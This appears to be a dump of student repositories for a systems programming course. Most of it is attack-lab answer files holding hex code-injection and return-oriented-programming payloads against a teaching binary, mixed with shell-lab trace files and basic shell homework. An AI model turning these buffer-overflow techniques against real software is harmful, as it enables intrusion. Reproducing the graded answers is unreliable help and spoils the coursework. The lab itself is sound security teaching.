/lab4/attack-handout/45/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 b8 79 66 55 48 2 | be 69 60 55 55 55 55 00 3 | 00 56 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | 78 79 66 55 00 00 00 00 9 | 34 30 39 30 61 31 37 37 00 -------------------------------------------------------------------------------- /lab6/shlab-handout/trace08.txt: -------------------------------------------------------------------------------- 1 | # 2 | # trace08.txt - Forward SIGTSTP only to foreground job. 3 | # 4 | /bin/echo -e tsh> ./myspin 4 \046 5 | ./myspin 4 & 6 | 7 | /bin/echo -e tsh> ./myspin 5 8 | ./myspin 5 9 | 10 | SLEEP 2 11 | TSTP 12 | 13 | /bin/echo tsh> jobs 14 | jobs 15 | -------------------------------------------------------------------------------- /lab4/attack-handout/15/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 2e 60 55 55 55 55 00 00 7 | 3d 60 95 64 00 00 00 00 8 | 16 60 55 55 55 55 00 00 9 | 12 5e 55 55 55 55 00 00 10 | -------------------------------------------------------------------------------- /lab4/attack-handout/2/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 b8 3f 68 55 48 2 | b8 2d 60 55 55 55 55 00 3 | 00 50 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | 78 3f 68 55 00 00 00 00 9 | 31 64 66 35 32 65 39 34 00 10 | -------------------------------------------------------------------------------- /lab4/attack-handout/21/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 00 00 /* 10 bytes */ 2 | 00 00 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 f2 5d 55 55 /* address of touch1 */ 7 | 55 55 00 00 8 | 9 | -------------------------------------------------------------------------------- /lab4/attack-handout/24/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 bf c5 60 55 55 55 55 2 | 00 00 57 48 c7 c7 a8 e5 3 | 65 55 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | 68 e5 65 55 00 00 00 00 9 | 36 32 36 38 61 38 36 64 10 | -------------------------------------------------------------------------------- /lab4/attack-handout/28/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 f8 20 67 55 48 2 | b8 b5 5f 55 55 55 55 00 3 | 00 50 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | b8 20 67 55 00 00 00 00 9 | 37 63 39 64 66 31 39 34 10 | -------------------------------------------------------------------------------- /lab4/attack-handout/3/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 11 22 33 44 55 66 77 2 | 00 11 22 33 44 55 66 77 3 | 00 11 22 33 44 55 66 77 4 | 00 11 22 33 44 55 66 77 5 | 00 11 22 33 44 55 66 77 6 | 03 61 55 55 55 55 00 00 7 | cc 72 a9 56 00 00 00 00 8 | f9 60 55 55 55 55 00 00 9 | f4 5e 55 55 55 55 00 00 10 | -------------------------------------------------------------------------------- /lab4/attack-handout/31/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 5c 61 55 55 55 55 00 00 7 | bb 6b df 41 00 00 00 00 8 | a7 61 55 55 55 55 00 00 9 | 82 5f 55 55 55 55 00 00 10 | -------------------------------------------------------------------------------- /lab4/attack-handout/33/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 5c 60 55 55 55 55 00 00 7 | 7f 34 9e 4d 00 00 00 00 8 | 7a 60 55 55 55 55 00 00 9 | 78 5e 55 55 55 55 00 00 10 | -------------------------------------------------------------------------------- /lab4/attack-handout/36/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | dc 60 55 55 55 55 00 00 7 | 8a 3e 4c 42 00 00 00 00 8 | ba 60 55 55 55 55 00 00 9 | b4 5e 55 55 55 55 00 00 10 | -------------------------------------------------------------------------------- /lab4/attack-handout/4/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 18 82 66 55 48 2 | be a5 5f 55 55 55 55 00 3 | 00 56 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | d8 81 66 55 00 00 00 00 9 | 36 61 66 34 36 35 33 35 10 | -------------------------------------------------------------------------------- /lab4/attack-handout/46/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 38 d7 65 55 48 2 | bb 1c 60 55 55 55 55 00 3 | 00 53 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | f8 d6 65 55 00 00 00 00 9 | 36 37 33 30 65 39 65 39 10 | -------------------------------------------------------------------------------- /lab4/attack-handout/47/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 e8 8a 62 55 49 2 | bd e1 5f 55 55 55 55 00 3 | 00 41 55 c3 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | a8 8a 62 55 00 00 00 00 9 | 34 65 33 31 66 66 36 66 10 | -------------------------------------------------------------------------------- /lab4/attack-handout/50/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 d8 7b 62 55 48 2 | b8 6d 60 55 55 55 55 00 3 | 00 50 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | 98 7b 62 55 00 00 00 00 9 | 34 36 37 35 32 37 30 37 10 | 00 -------------------------------------------------------------------------------- /lab4/attack-handout/51/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 14 60 55 55 55 55 00 00 7 | ce b6 22 7a 00 00 00 00 8 | 20 60 55 55 55 55 00 00 9 | 3a 5e 55 55 55 55 00 00 10 | -------------------------------------------------------------------------------- /lab4/attack-handout/53/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | c7 60 55 55 55 55 00 00 7 | 7c e5 65 46 00 00 00 00 8 | d0 60 55 55 55 55 00 00 9 | c6 5e 55 55 55 55 00 00 10 | -------------------------------------------------------------------------------- /lab4/attack-handout/55/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | ca 60 55 55 55 55 00 00 7 | fd 63 01 14 00 00 00 00 8 | 94 60 55 55 55 55 00 00 9 | ba 5e 55 55 55 55 00 00 10 | -------------------------------------------------------------------------------- /lab4/attack-handout/56/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 7a 61 55 55 55 55 00 00 7 | 6c 4a 09 7a 00 00 00 00 8 | 58 61 55 55 55 55 00 00 9 | 7f 5f 55 55 55 55 00 00 10 | -------------------------------------------------------------------------------- /lab4/attack-handout/57/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | b3 60 55 55 55 55 00 00 7 | 5b 0f cb 60 00 00 00 00 8 | dc 60 55 55 55 55 00 00 9 | cd 5e 55 55 55 55 00 00 10 | -------------------------------------------------------------------------------- /lab4/attack-handout/14/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 04 60 55 55 55 55 00 00 7 | b0 5b c1 7d 00 00 00 00 8 | ed 5f 55 55 55 55 00 00 9 | 08 5e 55 55 55 55 00 00 10 | 11 | -------------------------------------------------------------------------------- /lab4/attack-handout/23/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 38 a1 61 55 48 2 | ba 40 60 55 55 55 55 00 3 | 00 52 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | f8 a0 61 55 00 00 00 00 9 | 37 63 64 35 38 63 30 38 00 10 | -------------------------------------------------------------------------------- /lab4/attack-handout/25/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 83 61 55 55 55 55 00 00 c9 1b a8 2e 00 00 00 00 58 61 55 55 55 55 00 00 72 5f 55 55 55 55 00 00 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/32/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 17 60 55 55 55 55 00 00 7 | d3 db db 68 00 00 00 00 8 | 40 60 55 55 55 55 00 00 9 | 32 5e 55 55 55 55 00 00 10 | -------------------------------------------------------------------------------- /lab4/attack-handout/43/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 b8 10 67 55 49 2 | b8 87 60 55 55 55 55 00 3 | 00 41 50 c3 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | 78 10 67 55 00 00 00 00 9 | 37 33 38 35 66 33 64 32 00 10 | -------------------------------------------------------------------------------- /lab4/attack-handout/7/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 57 61 55 55 55 55 00 00 7 | 63 8f a8 30 00 00 00 00 8 | 21 61 55 55 55 55 00 00 9 | 46 5f 55 55 55 55 00 00 10 | 11 | -------------------------------------------------------------------------------- /lab4/attack-handout/29/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 b8 97 67 55 48 2 | bb 3f 5f 55 55 55 55 00 3 | 00 53 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | 78 97 67 55 00 00 00 00 9 | 32 33 32 39 36 66 38 32 10 | 00 11 | -------------------------------------------------------------------------------- /lab4/attack-handout/39/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 1c 60 55 55 55 55 00 00 /* 跳到popq %rax */ 5 | 12 71 c4 77 00 00 00 00 /* cookie */ 6 | 05 60 55 55 55 55 00 00 /* 跳到mov %rax,%rdi */ 7 | 16 5e 55 55 55 55 00 00 /* 跳到touch2 */ 8 | -------------------------------------------------------------------------------- /lab4/attack-handout/44/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 c8 10 67 55 48 2 | bb aa 60 55 55 55 55 00 3 | 00 53 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | 88 10 67 55 00 00 00 00 9 | 31 61 39 36 33 65 31 64 10 | -------------------------------------------------------------------------------- /lab4/attack-handout/49/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 e8 02 63 55 48 2 | ba 25 60 55 55 55 55 00 3 | 00 52 c3 20 21 22 23 24 4 | 25 26 27 28 29 30 31 32 5 | 33 34 35 36 37 38 39 40 6 | 41 42 43 44 45 46 47 48 7 | 49 50 51 52 53 54 55 56 8 | a8 02 63 55 00 00 00 00 9 | 35 61 62 32 36 61 30 34 10 | 00 11 | -------------------------------------------------------------------------------- /lab4/attack-handout/50/answer1.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 2 | 00 00 00 00 3 | 00 00 00 00 4 | 00 00 00 00 5 | 00 00 00 00 6 | 00 00 00 00 7 | 00 00 00 00 8 | 00 00 00 00 9 | 00 00 00 00 10 | 00 00 00 00 11 | 00 00 00 00 12 | 00 00 00 00 13 | 00 00 00 00 14 | 00 00 00 00 15 | 14 5f 55 55 16 | 55 55 00 00 17 | -------------------------------------------------------------------------------- /lab1/10215501421.sh: -------------------------------------------------------------------------------- 1 | # 第1题 2 | for i in `seq 1000` 3 | do echo $RANDOM | md5sum | cut -c 1-9 >> data.txt 4 | done 5 | sort data.txt -u 6 | sort data.txt -n -u 7 | sort data.txt -u > test1.txt 8 | sort data.txt -n -u >> test2.txt 9 | 10 | # 第2题 11 | grep -o world random.txt |wc -l 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /lab4/attack-handout/39/answer2.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 12 71 c4 77 /* mov $0x77c47112,%rdi #把cookie赋给%rdi */ 2 | 48 b8 16 5e 55 55 55 /* movabs $0x555555555e16,%rax #touch2的地址 */ 3 | 55 00 00 /* push %rax */ 4 | 50 c3 00 /* retq */ 5 | 00 00 00 00 6 | f8 5a 65 55 00 00 00 /* injected codes'adress */ -------------------------------------------------------------------------------- /lab1/10215501422.txt: -------------------------------------------------------------------------------- 1 | #1 2 | sort -d file.txt | uniq 3 | sort -n file.txt | uniq 4 | sort -d file.txt | uniq > d.txt 5 | sort -n file.txt | uniq > n.txt 6 | sort -d file.txt | uniq >> d.txt 7 | sort -n file.txt | uniq >> n.txt 8 | 9 | #2 10 | grep Maycomb test.txt 11 | grep -o Maycomb test.txt | grep -c Maycomb -------------------------------------------------------------------------------- /lab6/shlab-handout/trace12.txt: -------------------------------------------------------------------------------- 1 | # 2 | # trace12.txt - Forward SIGTSTP to every process in foreground process group 3 | # 4 | /bin/echo -e tsh> ./mysplit 4 5 | ./mysplit 4 6 | 7 | SLEEP 2 8 | TSTP 9 | 10 | /bin/echo tsh> jobs 11 | jobs 12 | 13 | /bin/echo tsh> /bin/ps a 14 | /bin/ps a 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /lab4/attack-handout/26/answer3.txt: -------------------------------------------------------------------------------- 1 | 48 c7 c7 e8 8c 67 55 48 2 | b9 a5 60 55 55 55 55 00 3 | 00 51 c3 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | a8 8c 67 55 00 00 00 00 9 | 32 66 37 64 34 62 62 39 10 | 00 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /lab1/10215501429.sh: -------------------------------------------------------------------------------- 1 | #1 2 | sort --unique test.txt 3 | 4 | sort --numeric-sort --unique test.txt 5 | 6 | sort --output=1.sh --unique test.txt 7 | sort --output=1.sh --numeric-sort --unique test.txt 8 | 9 | sort --unique test.txt>>1.sh 10 | sort --numeric-sort --unique test.txt>>1.sh 11 | 12 | #2 13 | grep -c "010" test.txt 14 | -------------------------------------------------------------------------------- /lab5/malloc-handout/malloclab-handout/memlib.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void mem_init(void); 4 | void mem_deinit(void); 5 | void *mem_sbrk(int incr); 6 | void mem_reset_brk(void); 7 | void *mem_heap_lo(void); 8 | void *mem_heap_hi(void); 9 | size_t mem_heapsize(void); 10 | size_t mem_pagesize(void); 11 | 12 | -------------------------------------------------------------------------------- /lab1/10205501432.sh: -------------------------------------------------------------------------------- 1 | sort random.txt | uniq #按照字母顺序对文件中的字符串进行排序,并输出unique行 2 | sort -n random.txt | uniq #按照数字顺序对文件中的字符串进行排序,并输出unique行 3 | cat random.txt>ecnu #以覆盖写的方式将random中的内容重定向到ecnu文件中 4 | cat random.txt>>unce #以追加写的方式将random中的内容重定向到ecnu文件中 5 | grep 'da' random.txt#在文件中查找特定的字符串("da") 6 | grep -0 'da' first.txt 5 | sort first.txt | uniq -d 6 | sort -n first.txt | uniq -d 7 | sort first.txt > a.txt 8 | sort -n first.txt >> b.txt 9 | 10 | 11 | grep abcd first.txt 12 | grep -c abcd first.txt -------------------------------------------------------------------------------- /lab1/homework01.sh: -------------------------------------------------------------------------------- 1 | for i in seq`1000`;do echo %RANDOM|md5sum|cut -c 1-9; done >> test.txt 2 | sort -u test.txt 3 | sort -n test.txt|uniq 4 | touch f1.txt 5 | touch f2.txt 6 | sort -u test.txt > f1.txt 7 | sort -u test.txt >> f2.txt 8 | 9 | 10 | touch computer.txt 11 | grep computer computer.txt 12 | grep -o computer computer.txt|uniq -c -------------------------------------------------------------------------------- /lab4/attack-handout/47/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | cd 60 55 55 55 55 00 00 9 | 6f ff 31 4e 00 00 00 00 10 | e2 60 55 55 55 55 00 00 11 | bc 5e 55 55 55 55 00 00 -------------------------------------------------------------------------------- /lab4/attack-handout/50/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | 38 61 55 55 55 55 00 00 9 | 07 27 75 46 00 00 00 00 10 | 56 61 55 55 55 55 00 00 11 | 48 5f 55 55 55 55 00 00 -------------------------------------------------------------------------------- /lab4/attack-handout/2/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | e1 60 55 55 55 55 00 00 9 | 94 2e f5 1d 00 00 00 00 10 | 18 61 55 55 55 55 00 00 11 | 08 5f 55 55 55 55 00 00 12 | -------------------------------------------------------------------------------- /lab4/attack-handout/4/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | 65 60 55 55 55 55 00 00 9 | 35 65 f4 6a 00 00 00 00 10 | 7a 60 55 55 55 55 00 00 11 | 80 5e 55 55 55 55 00 00 12 | -------------------------------------------------------------------------------- /lab4/attack-handout/23/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | f4 60 55 55 55 55 00 00 9 | 08 8c d5 7c 00 00 00 00 10 | ff 60 55 55 55 55 00 00 11 | 1b 5f 55 55 55 55 00 00 12 | -------------------------------------------------------------------------------- /lab4/attack-handout/24/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | c3 61 55 55 55 55 00 00 9 | 6d a8 68 62 00 00 00 00 10 | 8f 61 55 55 55 55 00 00 11 | a0 5f 55 55 55 55 00 00 12 | -------------------------------------------------------------------------------- /lab4/attack-handout/28/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | 98 60 55 55 55 55 00 00 9 | 94 f1 9d 7c 00 00 00 00 10 | a0 60 55 55 55 55 00 00 11 | 90 5e 55 55 55 55 00 00 12 | -------------------------------------------------------------------------------- /lab4/attack-handout/43/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | 53 61 55 55 55 55 00 00 9 | d2 f3 85 73 00 00 00 00 10 | 88 61 55 55 55 55 00 00 11 | 62 5f 55 55 55 55 00 00 12 | -------------------------------------------------------------------------------- /lab4/attack-handout/45/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | 29 61 55 55 55 55 00 00 9 | 77 a1 90 40 00 00 00 00 10 | 55 61 55 55 55 55 00 00 11 | 44 5f 55 55 55 55 00 00 -------------------------------------------------------------------------------- /lab4/attack-handout/46/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | 06 61 55 55 55 55 00 00 9 | e9 e9 30 67 00 00 00 00 10 | dc 60 55 55 55 55 00 00 11 | f7 5e 55 55 55 55 00 00 12 | -------------------------------------------------------------------------------- /lab1/10215304453.sh: -------------------------------------------------------------------------------- 1 | for i in `seq 1000`;do echo $RANDOM | md5sum | cut -c 1-9 ;done >> zuoye.txt 2 | sort -d zuoye.txt | uniq -u > zimu.txt 3 | sort -n zuoye.txt | uniq -u > shuzi.txt 4 | cat zimu.txt >> zhuijia.txt 5 | cat shuzi.txt >> zhuijia.txt 6 | vim chazhao.txt 7 | grep "computer" chazhao.txt 8 | grep -o "computer" chazhao.txt |wc -l 9 | -------------------------------------------------------------------------------- /lab2/datalab-handout/Driverhdrs.pm: -------------------------------------------------------------------------------- 1 | # 2 | # This file contains configuration variables for drivers. 3 | # It was generated by genhdrs.pl. Do not modify it. 4 | # 5 | package Driverhdrs; 6 | 7 | $LAB = "datalab"; 8 | $SERVER_NAME = "changeme.ics.cs.cmu.edu"; 9 | $SERVER_PORT = 8081; 10 | $COURSE_NAME = "csapp"; 11 | $AUTOGRADE_TIMEOUT = 0; 12 | 1; 13 | -------------------------------------------------------------------------------- /lab4/attack-handout/29/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | 02 60 55 55 55 55 00 00 9 | 82 6f 29 23 00 00 00 00 10 | 36 60 55 55 55 55 00 00 11 | 1a 5e 55 55 55 55 00 00 12 | 13 | -------------------------------------------------------------------------------- /lab6/shlab-handout/trace09.txt: -------------------------------------------------------------------------------- 1 | # 2 | # trace09.txt - Process bg builtin command 3 | # 4 | /bin/echo -e tsh> ./myspin 4 \046 5 | ./myspin 4 & 6 | 7 | /bin/echo -e tsh> ./myspin 5 8 | ./myspin 5 9 | 10 | SLEEP 2 11 | TSTP 12 | 13 | /bin/echo tsh> jobs 14 | jobs 15 | 16 | /bin/echo tsh> bg %2 17 | bg %2 18 | 19 | /bin/echo tsh> jobs 20 | jobs 21 | -------------------------------------------------------------------------------- /lab4/attack-handout/26/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | 85 61 55 55 55 55 00 00 9 | b9 4b 7d 2f 00 00 00 00 10 | 6f 61 55 55 55 55 00 00 11 | 80 5f 55 55 55 55 00 00 12 | 13 | 14 | -------------------------------------------------------------------------------- /lab4/attack-handout/44/answer4.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 00 00 00 00 00 00 00 00 5 | 00 00 00 00 00 00 00 00 6 | 00 00 00 00 00 00 00 00 7 | 00 00 00 00 00 00 00 00 8 | 76 61 55 55 55 55 00 00 9 | 1d 3e 96 1a 00 00 00 00 10 | 5f 61 55 55 55 55 00 00 11 | 85 5f 55 55 55 55 00 00 12 | -------------------------------------------------------------------------------- /lab4/attack-handout/49/answer4.txt: -------------------------------------------------------------------------------- 1 | 01 02 03 04 05 06 07 08 2 | 09 10 11 12 13 14 15 16 3 | 17 18 19 20 21 22 23 24 4 | 25 26 27 28 29 30 31 32 5 | 33 34 35 36 37 38 39 40 6 | 41 42 43 44 45 46 47 48 7 | 49 50 51 52 53 54 55 56 8 | ef 60 55 55 55 55 00 00 9 | 04 6a b2 5a 00 00 00 00 10 | e4 60 55 55 55 55 00 00 11 | 00 5f 55 55 55 55 00 00 12 | 13 | 14 | -------------------------------------------------------------------------------- /lab6/shlab-handout/trace10.txt: -------------------------------------------------------------------------------- 1 | # 2 | # trace10.txt - Process fg builtin command. 3 | # 4 | /bin/echo -e tsh> ./myspin 4 \046 5 | ./myspin 4 & 6 | 7 | SLEEP 1 8 | /bin/echo tsh> fg %1 9 | fg %1 10 | 11 | SLEEP 1 12 | TSTP 13 | 14 | /bin/echo tsh> jobs 15 | jobs 16 | 17 | /bin/echo tsh> fg %1 18 | fg %1 19 | 20 | /bin/echo tsh> jobs 21 | jobs 22 | 23 | -------------------------------------------------------------------------------- /lab6/shlab-handout/trace16.txt: -------------------------------------------------------------------------------- 1 | # 2 | # trace16.txt - Tests whether the shell can handle SIGTSTP and SIGINT 3 | # signals that come from other processes instead of the terminal. 4 | # 5 | 6 | /bin/echo tsh> ./mystop 2 7 | ./mystop 2 8 | 9 | SLEEP 3 10 | 11 | /bin/echo tsh> jobs 12 | jobs 13 | 14 | /bin/echo tsh> ./myint 2 15 | ./myint 2 16 | 17 | -------------------------------------------------------------------------------- /lab4/attack-handout/70/answer5.txt: -------------------------------------------------------------------------------- 1 | 00 00 00 00 00 00 00 00 2 | 00 00 00 00 00 00 00 00 3 | 00 00 00 00 00 00 00 00 4 | 59 62 55 55 55 55 00 00 5 | 43 61 55 55 55 55 00 00 6 | e5 60 55 55 55 55 00 00 7 | 31 60 55 55 55 55 00 00 8 | 00 00 00 00 00 00 00 00 9 | 00 00 00 00 00 00 00 00 10 | 00 00 00 00 00 00 00 00 11 | 00 00 00 00 00 00 